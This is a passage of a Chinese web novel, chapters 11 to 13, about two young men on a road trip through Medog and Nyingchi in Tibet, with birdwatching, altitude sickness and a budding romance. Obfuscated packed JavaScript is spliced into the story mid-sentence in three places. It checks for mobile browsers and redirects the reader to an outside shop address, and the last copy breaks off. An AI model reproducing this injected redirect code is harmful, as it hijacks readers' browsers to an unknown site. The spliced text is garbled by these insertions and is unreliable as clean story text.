燕栖山虽然是需要“静养”的伤员,但架不住这人眨巴着眼睛苦苦哀求,好说歹说之下,付舟勉强同意让他去加油站小卖部采购。 “买把剪刀。”付舟嘱咐。 燕栖山说:“我林芝买过瑞士军刀,那上面有个小剪刀可以用。” “那个不好用,”付舟指指自己的脑袋,“头发太长了,我要剪掉。” 燕栖山活像见鬼了一样看他,大概是想到了那张初中毕业照上的寸头少年,眼里露出十分抗拒的神情,活像付舟要把头剪掉或者把燕栖山一起剃成秃瓢。但是迫于付舟眼神的压迫感,他还是转身悲伤地去了,三步一踉跄,背影仿佛就义。 少年付舟在考上大学前只有两种发型,一是长到遮住眼睛,二是板寸。 每每觉得头发太长,他就到唐人街找华人理发师,说:“全部推掉。”后来这一步都免了,因为他觉得剪一次15磅实在太贵了,所以他花3磅收了个二手推子。 好在他颜值能打,剃成个猕猴桃竟也美观,反而显得英气十足。 然而这种造型不太被主流大众认可,所以付舟在上了大学之后也觉醒了一些形象管理——仅仅是一些,他的屈服体现在把板寸换成了一刀切。 付舟给车加满油,80k那里原本是个小村子,近几年受到观鸟爱好者的影响才渐渐热闹起来,村里加油站开门晚关门早,他们只有半天,时间上不一定来得及。 西藏油价还是比较贵,95号加满花了四百多,付舟把车停到外头,开始在APP上翻80k附近的馆子和民宿。翻了一会儿,总归有近十分钟了,燕栖山还没回来,付舟打开车门探头出去看。 这一看不得了,燕栖山根本不是从小卖部那边回来的,他领着一大包东西,旁边还走着个穿奶茶店工作服的漂亮姑娘,姑娘手背在后面,走路一蹦一跳,两个人有说有笑的,看着郎才女貌。 付舟干脆直接从车里钻出来,倚在门旁等着他俩过来。 燕栖山远远看到他,挥手打招呼,加快脚步赶过来。 “水,剪刀,润唇膏,红景天口服液,防晒······都买了。” 付舟似笑非笑地看他,说:“你还挺悠闲的。”是啊,有了女朋友还搭讪,可不是很悠闲嘛。 燕栖山有点摸不着头脑,这时那姑娘小跑上来,先是很欣赏地看了付舟一眼,把背在后面的手一伸——上面提着两大杯奶茶。姑娘把奶茶往付舟手里塞,随即对燕栖山展示手机收款码:“帅哥,小费,谢谢~” 燕栖山给她扫过去二十,姑娘朝他俩甜甜一笑:“两位,在西藏玩得愉快!”看来是把他们当成了自驾的游客。 付舟盯着奶茶包装上的吐舌大白胖子陷入沉思:“早说你想喝,我们开车去呗,还麻烦人家送来。” “不顺路啊,整个县就这一家奶茶店,我看店里还挺忙的,那姑娘看我手不好拿,问我要不要帮忙送过来,路有点远,不好让人家白帮忙的。” 合着这小子是早有预谋,连地址都看好了。 加油站旁边是墨脱很有名的天上西藏邮局,进去就看见全国各地的明信片贴了满墙,燕栖山照旧买了六张,坐下吭哧吭哧地开写。付舟忽然看见一张明信片上写着:墨脱真的好远啊! 字迹歪歪扭扭的,应该是个孩子写的。 付舟心里忽然一动,他下次不知道什么时候才能回西藏,不如也留个纪念。 他也买了一张明信片,坐在燕栖山旁边开始写。 思索了半天措辞,他一抬头发现燕栖山正在看自己,两个人目光猝不及防地撞上,燕栖山垂眼。 付舟本以为他又要不好意思了,谁知这厮调整心情,就那么迎着他的目光笑,邮局的灯很亮,照得燕栖山的脸也昭昭有光,俊美的不像话。 果然上次林子里的偷拍根本不是什么意外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513141|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 真是拈花惹草,招蜂引蝶,用尽毕生成语积累的付舟愤愤地想,他迟早得提点一下这小孩。 事实证明燕栖山还是太嫩,完全无法和付舟这种厚脸皮的老油条媲美,在付舟那双上挑眼的凝视下逐渐败下阵来,浅色眼睛乱转。付舟的瞳色很深,几乎有点分不清虹膜和瞳仁,一眨不眨地时候像看不到底的古井。 他俩就这么凝视对方一分多钟,直到—— “咳——咳!”邮局工作人员在他俩背后一唱三叹地咳嗽,“两位写好了吗?邮筒在门口,我们这里水笔有点不够用。” 他俩立刻蹦起来,一边道歉一边逃出门去。 上了车,燕栖山说:“这个邮局还有那种‘写信给未来’的活动,好有意思。” 天上邮局是西藏很多地方都有的主题邮局,可以给自己写信,五年或十年之后再寄出。 付舟跟着导航拐上墨脱公路,上空掠过三语标牌:你已进入墨脱生态旅游区。 他随口问:“你没给自己寄一张?” 燕栖山吸了一口他那杯奶茶:“我一般很少想以后的事,活在当下······坏了,忘要无糖了!说起来,付哥你为什么不写?” 付舟颇感意外:“我还以为你爱吃甜······半年后我地址在哪里我都不知道,怎么寄五年后?” 燕栖山说:“寄给我呀,我去英国给你,到时候我怎么样都会找到你的。” 付舟深深地叹了一口气:“燕栖山,不是我要说教你,但是你作为一个有女朋友的人,能不能不要老是······老是······”老是说这种暧昧不清的话啊! 燕栖山愣住,放下奶茶,露出被他不小心咬瘪的纸吸管:“什么女朋友?” 他们距离80k还有三十二公里,这里地势渐平,路边都是生长着苔藓的巨树,这些树本来应该是鸟类筑巢生活的绝佳场所,只是这里离公路太近了,鸟儿们大多飞往了靠近仁青崩寺的密林更深处。 驶过标着仁青崩寺转山道的岔路口,付舟说:“前几天晚上和你打电话的女生,不是你女朋友吗?” “前几天?”燕栖山备感诧异,又开始无意识地咬吸管,付舟透过镜子看到他犬齿格外地尖,怪不得那么快就把吸管咬烂了。 “嗯?哦!”发出两个短促的叹词之后,燕栖山登时眉开眼笑,“你说得是她吧?越水?” 不是很明白这有什么好笑的,付舟点点头。 燕栖山一拍大腿,又因误触伤口而龇牙咧嘴:“嘶,燕越水,她是我妹妹!亲的,血浓于水,付哥,不信的话到拉萨可以滴血认亲,臣妾是清白的!” 他一通撒娇卖乖,很讨人喜欢。付舟这下信了,而且他也意识到“栖山越水”确实是兄妹俩会有的名字。 车子已经开进村里,路边已经稀稀拉拉的停了些车子,有人正在下车拍鸟,付舟干脆靠边停了,正好可以把燕栖山给他买的那杯奶茶喝了,他接过刚刚的话茬:“好吧,那朕就信你这一回,切莫做那害人的狐狸精。” 宫斗剧他还算是有所涉猎。 他说罢低头喝了一口,不料完全吸不上来,付舟不信邪,又是用力一口,仍然啥都没有。 百思不得其解,他把奶茶从袋子里掏出来看。好家伙,从下至上依次陈列着芋泥、布丁、仙草、珍珠、椰果、脆啵啵,吸管简直像插在水底的金箍棒,纵使天崩地裂恐怕也无法撼动分毫。 捧着这杯诡异的“粥”,付舟看看笑得牙不见眼的燕栖山,心想:爱妃确实不是狐狸变的。 爱妃是狗变的。 是狗啊。 “燕贵妃”忽然指着窗外叫起来:“好多鹦鹉!” 鹦鹉? 11. 桃花 付舟回头看,眼前居然真的是一大群生着翠绿翅膀和红嘴的大鹦鹉,呼啦啦地飞过村里绿油油的农田,乍一眼看上去颇有遮天蔽日的意思。 燕栖山已经窜下车,同时飞快地单手抓起包里的相机。 他站在路边开始拍,付舟决定把那杯“粥”报复回去,他拿两张纸垫了,飞快地把两杯奶茶调换位置,惦记着燕栖山的洁癖,还不忘把吸管也抽出来换了。 利落地干完坏事,付舟慢条斯理地把纸擦擦手收起来。 燕栖山在车外看鹦鹉,付舟在车里看他。青年下车匆忙,没穿外套,只穿了白T和工装裤,微风拂过,把他头发吹得飘飞,简直像什么自然杂志大片。 那群斑斓的鹦鹉仍然在靠近地面的地方盘旋,付舟举起手机想拍一张,燕栖山有所察觉般的回头,看见镜头立刻凑上来,趴在车窗边比了个耶。 付舟顺手把他拍进去,问:“能发朋友圈吗?” “能当付哥第一条朋友圈,我好荣幸。” 付舟失笑,他倒是没想到这一层,他之前的手机在欧洲旅游的时候被摸走,号码补办不了,这个微信确实是新建的。他把刚刚那条照片发出去,配字:在路上。 现在英国是凌晨,他那帮狐朋狗友估计都没醒,于是付舟把手机关了,等燕栖山上车。 哈苏可以直接用USB-C数据线连手机上导出照片,燕栖山上车之后把刚刚拍的照片导成RAW格式发到他们杂志的西藏考察编辑群里。对外大家都是编辑,实际上内部还是有所分工。 名为“扎西德勒快快乐乐”的群里算上一共四个人,作为摄影编辑兼“资助人”的他,仍然倒在拉萨人民医院负责统筹的责编章鸣,现在正在准备动身的专题编辑韩灵溪和她的助理鹿斐。 燕山:墨脱公路80k附近的大紫胸鹦鹉群落,目测有近五十只。【开心】【开心】 韩灵溪:不错呀!【点赞】前段时间是不是刚有报告说在波密有目击来着,没想到墨脱也有。 章鸣:拉萨也有一些,前两天在布达拉宫有人拍到。你们俩什么时候到西藏? 鹿斐:韩老师和我明天的飞机,大概后天早上到贡嘎机场。章老师,您高反还要紧吗,这是出院了?【疑问】 章鸣:没有。 章鸣:【陪笑.jpg】 章鸣:我没救了,中道崩殂,不吸氧根本下不了地,到拉萨了再重新商量分工吧。 韩灵溪:······ 韩灵溪:说起来,小燕不是前两天伤了手吗,怎么在自驾啊?拼车? 小燕没有回答——小燕误食了一口奶茶粥,正“花容失色”着。付舟看他这副模样,心情很好地笑起来:“你多喝点,反正我们还没吃上饭,补充点能量。”他抬抬下巴示意另外一杯,“你这杯我就笑纳了。” “可是······”燕栖山欲言又止,半晌默默地把膜撕开,用吸管做勺子把奶茶消灭了。 他心里暗想,可是,这是你喝过的啊。 80k的民宿不多,就两三家,他俩提前订了个标间,停好车正好领包入住。 已经将近六点,老板娘笑眯眯地招呼他俩过来吃晚饭,这种民宿往往都是老板家吃啥一锅端给客人。 墨脱是西藏少数可以种植水稻的地方,主食是青稞混着大米饭,配菜是素血旺和凉拌鸡,看着红艳艳的一片。燕栖山稍稍面露难色,开始偷偷摸摸地挑没有沾辣椒的部分。 虽然对于不能吃辣的人来说加辣椒加到一定程度就尝不出什么味道了,但不得不说这菜是真的下饭,青稞又比较硬,混在大米饭里比一般的杂粮饭还有嚼劲。 他俩奔波一天都没吃什么正经饭,眼下饿极了,一时间忙着埋头扒饭,坚决贯彻“食不言”的原则。 燕栖山吃得舌头又痛又麻,他开始暗暗观察付舟,权当转移注意力。 付舟算是非常能吃辣的人,但吃辣的时候也不是全无反应。 估计是长期在英国生活导致英国人没有嘴唇的怪谈也在他身上有所体现,所以付舟的嘴唇很薄,和他的肤色一样是浅淡而无血色的,看着多少显得薄情寡义。 但在吃辣之后,他的唇会稍稍有点肿,随着时间的推移慢慢从杏色变为嫩红,在那张冷调的脸上简直是艳丽的。燕栖山也不知道自己是怎么了,盯着那张一开一合的嘴移不开视线,渐渐地连筷子都放下了。 付舟见他呆愣愣的,也放下筷子道:“怎么不吃了?是太辣吗,那我问问老板能不能做点不辣的?” “没事,没事。”燕栖山回过神来,赶紧夹了一大筷子囫囵塞嘴里,不料那菜里混进许多辣椒,辣椒籽在他嘴里爆开,滋味着实酸爽,吃面都只敢放一勺油泼辣子的南方人当场阵亡。 吃完饭,坐了一路车的两人并不想闷在房间里玩电子产品,于是开始顺着田埂散步,这地方有很多鸟,四面八方都传来铺天盖地的鸟鸣,倒像是鸟在围着人,只是天晚了,看不清小鸟究竟在哪里。 付舟走在前面,感觉到脚下的泥土很松软潮湿,是适合春种的环境。他问燕栖山:“在这种看不清的地方,你一般怎么找到鸟呢?” “这样。”燕栖山停下了,示意付舟看他,随后闭上眼睛,“先用耳朵听。” 付舟有样学样地闭上眼,去听周围远远近近的鸟鸣,果然在失去视觉之后人的听觉会变得更灵敏,他能感觉到右边的鸟鸣声音近些,那叫声低弱而圆润。 “然后,朝你觉得声音最大的方向转,等到确定了就看。”燕栖山平日里说话起调子总是往高里走,说起话来对于付舟来说一直带点稚气,现在他放低声音,居然听上去给人以缱绻之感。 付舟不着四六地想,这人倒是能当个深夜电台男主播什么的,感觉还挺助眠。 他睁开眼时被吓了一跳,因为他没料到燕栖山不知什么时候已经移动到了他旁边,怪不得刚刚听他说话那么沉浸式,这人已经快贴到他耳边了。 走路一点声音没有,简直像个鬼。 “你······” “嘘。”燕栖山幽幽道,“往那边看。” 他指向近处一棵灌木的枝条,那灌木离他们很近,之前付舟全然没注意到,现在却看见枝条上单脚立着一只黑色羽毛上有着亮蓝色条纹的小鸟,小鸟歪头看他,抬起脚搔搔头,露出栗红的胸腹。 不知不觉间,付舟已经屏住了呼吸,感觉满目都只剩下那只小鸟黑亮亮的眼睛。 小鸟又叫了一声,和他道别似的,扑棱着翅膀消失在树丛里。 燕栖山又恢复阳光开朗大男孩的样子,笑嘻嘻的:“那是丽鳾,是不是挺可爱?” 付舟若有所思地点点头,忽然想起燕栖山的本职工作:“你不需要拍照记录?” “我们这叫古法观鸟,重在用眼睛看,相机啦望远镜啦,说到底都是辅助手段,是比不了直接感受的。况且现在天晚了,拍摄需要开闪光灯,对野生动物也不好,我明天早起一点来拍” “嗯,你说的是,刚刚感觉好特别······不,是很神奇。”付舟不是在捧场,他是真心实意这么觉得。 上大学之前,他走在路上时往往只会想着上课作业之类的问题,不会去观察周围的环境。 在学植物学之后,他开始注意到别的东西,春天的时候,石头地砖间会开出小雏菊和蒲公英,若是进入夏季,花坛里的千里光会生出大片大片黄色的花。 他那时开始从草木的角度去看世界,现在燕栖山给他打开了另一种视角。 燕栖山说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513142|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“对,怎么形容呢——可能不太恰当吧,我第一次开始观鸟的时候,感觉简直就像哈利第一次进对角巷看见巫师世界一样······你可不要笑我呀。” 他不好意思地摸摸鼻子。 付舟上前一步,微微仰视燕栖山的眼睛:“怎么会,自然里是有魔法,我能明白。” 身处高原上难得的低海拔地区,难免让人生出被群山环抱之感,天地苍苍茫茫,燕栖山觉得自己渺小如粟,只能看清面前的付舟墨色的双眼,甚至于能看清他下睫毛处的一粒褐色小痣。 他不知道自己是怎么了,心砰砰直跳。 燕栖山忽然好想——好想抱一抱付舟。不然他都要以为他们都是假的,唯有这山川才是真实的。 但他只敢想想。 他们定了个标间,几天以来两个人头一次分床睡。墨脱晚上凉,身边少了个三十七度的热源,他俩竟一时都有些不习惯。 付舟迷迷糊糊地做梦,梦到燕栖山走到他床前,俯下身,月光越过床沿落进青年的瞳里,仿佛洒满碎银。燕栖山就那样看着他,全无笑意,和他平时判若两人,所以付舟百分百确定这是个梦。 燕栖山伸出手板住付舟的下巴,相当用力,但是由于梦里付舟感受不到痛觉,所以他还有闲情雅致调侃:“怎么,小燕,想杀人越货?” 这个梦里的燕栖山很是沉默寡言,他一言不发地按住付舟的下颚,拇指卡进他的嘴角,迫使他张开嘴。 付舟:“唔唔唔?” 燕栖山俊美的面孔在他面前放大,近到他连对方眼睛里淡淡的红血丝都能看清楚,他不由自主地屏住呼吸。 对方年轻健美的躯体在他上方,挡住了山月和星辰的光芒,付舟被压得有些不舒服,他啃咬着燕栖山的手指,头脑发热,含混不清地说: “商量一下,让我骑你,行吗?” 梦里的冷脸强制爱型号的燕栖山第一次说话了,他轻轻道,还是用的深夜电台知心男主播声线: “可以啊,付哥。” !!! 付舟像弹簧一样从床上弹起来,随后又重重倒在枕头上,满头大汗,痛苦地捂住脸。 苍天啊佛祖啊,我在对旅行搭子臆想什么啊! 重点是······重点是······他刚刚好像······好像有点爽到了?! 不如说是非常爽。 神啊原谅我吧! 他透过被子的缝隙偷偷往隔壁床看,幸好燕栖山早起出去拍摄了,现在还没回来。 难道是这么多年上学上的太压抑了?之前在英国,他没怎么需要自己缓解,最多偶尔弄一下,以至于他一度怀疑自己是性冷淡。 对具体的对象做这种梦,还是头一回,付舟燥得慌,摸摸自己的脸,烫的像发烧。 过道门响,燕栖山亲切友善的声音先传过来:“付哥,你醒了吗?” 付舟一惊,连滚带爬地下了床,头也不回地躲进卫生间。 把门关了,他靠着门往下滑坐在地上,冰冷的地板让他清醒过来。 他想,我这是在干什么呢?只是个梦,我又不是喜欢他。 燕栖山进来没看到他,又问:“那个,付哥,有个事情······” 付舟隔着门,正好暂时不用看燕栖山的脸,他一边猛猛洗脸一边回复:“什么事?你说。” 他洗漱完,一推开门,燕栖山正扭扭捏捏地在门口立着。 付舟立刻转移视线,昨晚那个梦的场景还历历在目,他每看燕栖山一眼都觉得是罪过,无异于唐僧进盘丝洞看到蜘蛛精。 他心里有鬼,觉得非礼勿视。 一头卷发的蜘蛛精毫无察觉地说:“付哥,你要不要顺路和我去林芝看桃花?” 12. 赤麻鸭 付舟愣了,暂时不去想那个旖旎的梦。 他本想问问燕栖山是否愿意和他去看桃花,没想到对方竟然先提出来了,付舟自然没有不答应的道理。 早饭吃了老板做的藏面,付舟特意喝了一只红景天口服液,现在才服用用处不大,只是他心里有点打鼓,这多少算是个安慰剂。 他以往来西藏不会高反,但那是刚落地就火急火燎地跑到墨脱的情况,去林芝的路上要经过海拔接近四千米的嘎隆拉雪山半山腰,付舟不确定自己会不会有反应。 毕竟高反往往来势汹汹毫无预兆,在西藏呆了一段时间突然进医院的情况也大有人在。 他收拾心情,和燕栖山又踏上旅途——不过他还是不太敢看对方。 墨脱公路限速二十公里,狭窄得像单行道,天上依稀开始飘雪。四季如春的河谷转眼被落在身后,公路两边垒着两道厚厚的雪墙,隔绝风雪。 三十公里开了一个多小时,好不容易抵达嘎隆拉隧道,果不其然,这里已经堵得水泄不通。出墨脱只能通过这条隧道,春雪融化时时常发生雪崩或滑坡,还要进行例行安检,堵车是常有的事。 隧道全长三公里,期间走走停停,看不到外面,海拔却是在不断爬升。 也不知是真的高反还是心理作用,几米一动的开到隧道中段,付舟感觉自己有点头晕眼花。 燕栖山察觉到他神色不对,趁着前面查边防证的时候“啪”的把车顶灯摁开了,近距离观察付舟的脸。 付舟对“燕栖山凑过来”这个动作有点PTSD,本能地往后躲:“我没事,早上面吃多了,有点晕碳。” 燕栖山恼了,摁住付舟的肩膀,付舟脑子里立刻出现昨天晚上的限制级镜头,吓得不敢动弹。 好在燕栖山说起话来还是他惯用的撒娇语气:“付哥,和我换位置好不好,你嘴唇都青了!” 不等付舟反对,燕栖山已经跳下车,跑到付舟这边扶他,付舟这时才惊觉自己真的很不舒服,下车时甚至踉跄一下,差点跪进地上脏兮兮的雪水里。 燕栖山架着他到副驾,把座位放平些,又抬头张望一阵,也不知在找什么。 付舟头晕目眩,一句话都说不出来,迷迷糊糊地看见燕栖山跑到前面一位正在吃泡面的大哥那里,说了两句,大哥立刻放下泡面,回身去车里拎了个大热水壶出来。 燕栖山连连道谢,提着水壶小跑回他们车这边,给付舟倒了杯热水。 热气袅袅,付舟喝了一口,发紧的喉咙稍微松下来,他惨白着脸,气若游丝,一副“命不久矣”的样子,张口欲言。燕栖山赶紧附耳过去,听听这位还有什么话要吩咐。 “你不要······不要跑,海拔高······会,会高反。”已经高反的人嘟囔。 燕栖山失笑,点头应下,正准备去还水壶,付舟又是一拽他袖子。 “给人家点现金,难得有热水······你等下开车······” 燕栖山手指按在他嘴上:“收声!” 付舟用对不上焦的眼睛看他,燕栖山的脸他看不清楚,像个忽远忽近的影子,他想说你这小孩凭什么打断我讲话,还没来得及开口就是一阵天旋地转,他捂住脸呻吟一声,头痛欲裂。 燕栖山还了热水壶,回到车里深吸一口气握住方向盘——这回记得拉手刹了,幸好隧道里移动几近龟速,不是非常考验车技。付舟已经无暇去管燕栖山的车技,他感觉自己的大脑正在生出自己的意识,正准备撕开他的颅骨爬出去。 宙斯当年把头劈开生雅典娜也不过如此了吧,可惜付舟不认为此时他的脑袋里将诞生一位智慧女神。 付舟依稀听到燕栖山在和查边防证的工作人员说话,随后燕栖山的手附上来摸他额头,他的手冰凉,纱布很粗糙地蹭过他的皮肤,罔顾此时气温已经降到零度左右,付舟的脸很烫,所以在燕栖山把手收回去的时候他本能地抬下巴蹭了一下。 凉丝丝的,好舒服。 燕栖山的手稍稍停顿,随即很自然的抚上他的脸颊。 “······对,没发烧。医院······” “服务站买氧气瓶······几个······” 付舟贴着燕栖山的手,头痛居然稍稍缓解。 明明是和昨天的梦差不多的位置,但真实的燕栖山摸他脸摸得正气凌然,摸得光明磊落,丝毫不带一点暧昧的意思,完全只是把手当成简易冰袋的架势。 果然是直男,果然是我做了个荒唐的梦,付舟这么想着,竟隐隐有释然之感,就那么枕着燕栖山的手睡过去——用半昏迷更为恰当。 燕栖山确认付舟睡着之后把手轻轻移开,等着前面的车动。 他控制不住的想起来刚刚付舟的神情,泛起潮红的雪色的脸颊,略浸了汗水的湿漉漉的眉,鸦羽似的睫毛扫过他的指尖,付舟半阖着眼看他,看不出有什么表情,像墨脱山野里泛起的层层雾气。 ······不该这么看一个病号,燕栖山想,可是他又想到刚刚他让付舟别说话的时候把手摁在他嘴唇上的感觉,年长他几岁的青年看着是很冷硬质地的人,但嘴唇是柔软的,到现在他手上还留着那么一点潮湿的触感。 燕栖山忽然觉得自己也需要一个冰袋。 等到付舟眯了大约二十分钟醒过来,他们已经停在了墨脱边检服务站边上。 他动了一下,发现身上盖着燕栖山那件荧光黄的冲锋衣,上面传来浅淡的香橙味沐浴液的气味。 其他衣服都放在拉杆箱里,燕栖山给他盖自己的外套无可厚非,不过付舟此时更想知道在这飘雪的山上燕栖山穿的什么,他很快得到答案: 一件秋衣。 付舟嘴角抽搐地看燕栖山穿着一件黑色紧身秋衣钻进车,身上落满雪花,他觉得自己又开始头痛了。 燕栖山手上拎着一袋便携式氧气罐,大约有五六个,他打开盖子递过来,付舟这时也顾不上跟他客气了,就着他的手把鼻子放进罩子猛吸一口。 呼,活过来了。 付舟从未觉得罐装氧气如此美妙。 燕栖山看他脸色好转也放下心来。 付舟见他浑然不觉得冷似的,有点费劲儿地起身把外套给他,说:“谢谢你······别着凉了。” “不要紧,我······我,咯咯,一点都不冷!” 那这个牙齿打战的人是谁?付舟想,零下只穿一件秋衣还不冷已经不能单纯用年轻人火气大来形容了吧。 见这小子全无要穿上外套的架势,付舟没忍住,吐槽道:“你就穿一件秋衣是想干什么,男士内衣广告吗?” 不料燕栖山蹬鼻子上脸,在狭窄的车里做了个夸张戏谑的展示肌肉的姿势:“怎么?付哥,我练的不好吗?” 不同于付舟长期徒步外加食用白人饭形成的薄肌,可以看出燕栖山是那种为了维持肌肉形状好看在健身房里泡了很久的类型,一应俱全,要啥有啥,和他精致的脸形成了一种极吸引人的反差。 确实······不错?付舟从胸肌看到腹肌,又从腹肌看回胸肌,最后停在燕栖山的帅脸上,自觉做了套眼保健操。 清醒一点,付舟,这不过是直男展示健身成果的手段! 付舟绷着脸,把衣服扔回去:“穿上。” 燕栖山吐吐舌头,听话照做。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没经历过这种事,自知不能设身处地,但一想就不由得心里泛酸,很是难过。 付舟本意是忆苦思甜,却没想见这一番话让青年眼眶都红了,赶紧找补:“哎呀,我都没哭呢,你哭什么······都是过去的事,你看现在通路了多好,来往这么方便。” 燕栖山定定地看他,仿佛一时语塞,末了问:“那天,是不是很冷啊?” 问完他又觉得自己好蠢,安慰人都安慰不到点上,赶忙转头点火开车。 付舟一滞,他没想到燕栖山会这么问,谢文远当时大叫我的天好兄弟你受苦了,王氏兄妹嚷嚷着要把付川以虐待儿童罪送上法庭——这事儿在他的劝说下不了了之,可是没有人问过他冷不冷。 走到半山他手套丢了,付川把围巾取下来给他包手,不过他还是长了红肿疼痛的冻疮,春天消去冬天复生,来来回回好几年,直到现在他的指关节上还留有细微的疤痕。 半晌,他才说:“还好,不是很冷。” 车开到山口,这个他曾经一步一步走出来的山口,付舟往后看了一眼,嘎隆拉隧道已经变成远处一条细细的黑线。墨脱意为“隐秘的莲花”,现在这朵莲花能被更多人看见,他心里是很高兴的。 付舟想:再见。下次再见。 开上二十分钟,他们就拐上了大名鼎鼎的318国道,这里海拔两千米左右,付舟感觉好些了,于是放下氧气罐。 前面就是波密桃花沟,还没看到景区指示牌,漫山遍野的野桃花已经在远处招摇地撞进视线。 燕栖山突然念念有词:“俗话说‘竹外桃花三两枝,春江水暖鸭先知。’” 付舟:? “据种种迹象表明,诗句里的鸭子是赤麻鸭。” “赤麻鸭······”付舟念了两遍,没觉得这鸭名字有什么特别的,“你要拍这个?是西藏特有物种吗?” “不,”燕栖山用极其蹩脚的天津话说,“我们中午吃嘛呀?” 赤麻鸭。 吃嘛呀。 开了暖空调的车里,付舟无端感到一阵寒意。 13. 咖啡树 今天吃什么,这是一个困扰人类已久的亘古难题。 燕栖山正在为自己的谐音梗自鸣得意,付舟干脆继续参考点评软件,这类软件上的餐厅推荐常常琳琅满目,让人目不暇接地犯起选择恐惧症。 好在波密县往林芝市这一路四个多小时的路程上沿路饭店极少,可以极快地做出就近用餐的决定。 “柴火鸡吃吗,这还是个什么318沿路必吃榜?”付舟问。 燕栖山口不择言:“吃吃吃,我最喜欢吃禽类。”可见此人早已健身过度被鸡胸肉控制大脑。 波密桃花沟名义上是个景区,但实际上并没有很明确的边界,因为这里的桃花是自然生长的野桃花,这些年越来越多的过路人觉得此地美甚,后才被当作景点宣传。游客赏花常常采用“一日看尽长安花”的模式,只不过不是身骑白马,而是开车 。 他们选择的饭店在一个规模较大的农家乐里,农家乐建在山谷边上,位置很好,还在面对雪山的位置修了个可以喝咖啡的小露台。 没到桃花沟的旅游旺季,店里人不多,老板还挺年轻,胖乎乎的,面目慈祥,笑着和他们打招呼,圆脸泛油光,一看就伙食不错。 柴火鸡是川菜,外观却和东北的铁锅炖类似,不过相似度也仅仅止于外观,一般做法是鸡块加香料及辣椒用土灶炖了,最后再用玉米面饼贴在锅边焖入味。但是这家店的老板显然有自己的想法,在普通款柴火鸡旁边用类似于“惊爆价只买998”的字体标出特别款·西藏限定创意柴火鸡。 所有自称为创意菜的食物一般是昂贵的四不像,燕栖山深有体会。 吃一堑长一智,他是不会原谅那家号称创意北京私房菜的糖醋拔丝葱爆烤鸭的! 付舟显然缺失他的这种警惕性,招呼来老板问: “您这特别款特别在哪儿啊?” 老板嘿嘿一笑,显然对此早有准备,一开口竟然是流利的京片子,更加勾起燕栖山的痛苦回忆: “哎,那您可就问对了,要说这四川柴火鸡呢,您在川藏这片儿都能品尝,而我们家的加入了西藏特产夏尔巴辣椒,还把玉米饼改成了糌粑。” 糌粑······糌粑是什么?燕栖山想,是和安徽的粑粑差不多的糯米饼吗? “哦?还有呢?”付舟很感兴趣地挑眉。 “呃,里面加入了藏茶,是茶香款的,很······沁人心脾。”老板越说越没自信,声音渐渐小下去。 “那好,我们点一——” 不要点!至少看在一道重油重盐的荤菜绝对不可能沁人心脾的份上! “咳咳咳!”燕栖山疯狂咳嗽。 付舟和老板一起回头看他,老板面露关心,付舟眼神有点戏谑。 “我们点一份普通的柴火鸡,糌粑和茶单独上可以吗?不要酥油茶,要清茶。” 老板没能推销出自己的创意,哀怨地看了付舟一眼,一步三回首地进了厨房。 付舟把下巴搁在手背上,似笑非笑,问:“怎么,嗓子不舒服?” 又被这人耍了,燕栖山愤愤地想。 不过他觉得还挺有意思的,和付舟越熟悉,他就越会露出一点喜欢逗人的性子来。 有点像燕栖山的猫,麻雀,之前他用逗猫棒时都会上窜下跳,但某一天燕越水来了,用同样的手法逗半天,麻雀主子只是瘫在自己的窝里斜眼看燕越水,高贵冷艳,不时淡淡咪一声,原来这位祖宗对逗猫棒根本没兴趣。 燕小姐破防,燕先生欣喜若狂。 它肯装蠢陪我玩,它心里有我,燕栖山当时美滋滋的。 同理可得,付哥肯逗我,那他心里肯定有我。 打住。 燕栖山觉得自己应该还是受到了一些高原缺氧的影响,不然他为什么要如此关心一个同性“心里有没有他”,而且还对方疑似有作风问题的情况下。 之前在墨脱的那通电话,他说不在意是假的,不过那时候更多是出于对于付舟人品的担忧,毕竟乱搞男女关系的人绝大部分情况下还伴有其他缺点。经过这么几天,付舟被证实是个可靠优秀的旅伴,可关于他情感问题的疑虑渐渐更为如鲠在喉。 而且,燕栖山思忖着,我实在是不了解他的。 对于一个不了解的人,到底为什么要如此······在乎? 冒着热气的柴火鸡端上来,美食暂时打断了他的少男心事。 鸡肉咸香,玉米饼子微甜瓷实,配着吞咽下去,燕栖山瞬间觉得自己活过来了。肉和碳水,真是绝配。 在他埋头干掉一碗饭之后,他注意到付舟吃饭方式很特别。 燕栖山自己吃这种骨头多的肉时,会整个儿塞嘴里,用牙和舌头把骨头剔出来,他妈妈牙不太好,早早换上了烤瓷牙,会用筷子小刀分解着吃。 而付舟则把鸡肉举在嘴边,一点一点小口用牙去撕上面的肉,很斯文,牙齿都没怎么露出来。 更像麻雀了,爸爸好想你,燕栖山惆怅地想。 两个人狼吞虎咽地把柴火鸡解决了,付舟把老板送上来的一盘灰白色粉末状的东西移到桌子中间,分成两碗,将消毒湿巾和免洗洗手液递给燕栖山:“喏,洗下手,我们吃糌粑。” 燕栖山清洁完,狐疑地用指头戳戳自己面前那碗“粉”,触感很粗糙,像沙砾,感觉咽下去会把嘴里所有水分都吸干。 付舟见他困惑的样子就乐:“你得这样。” 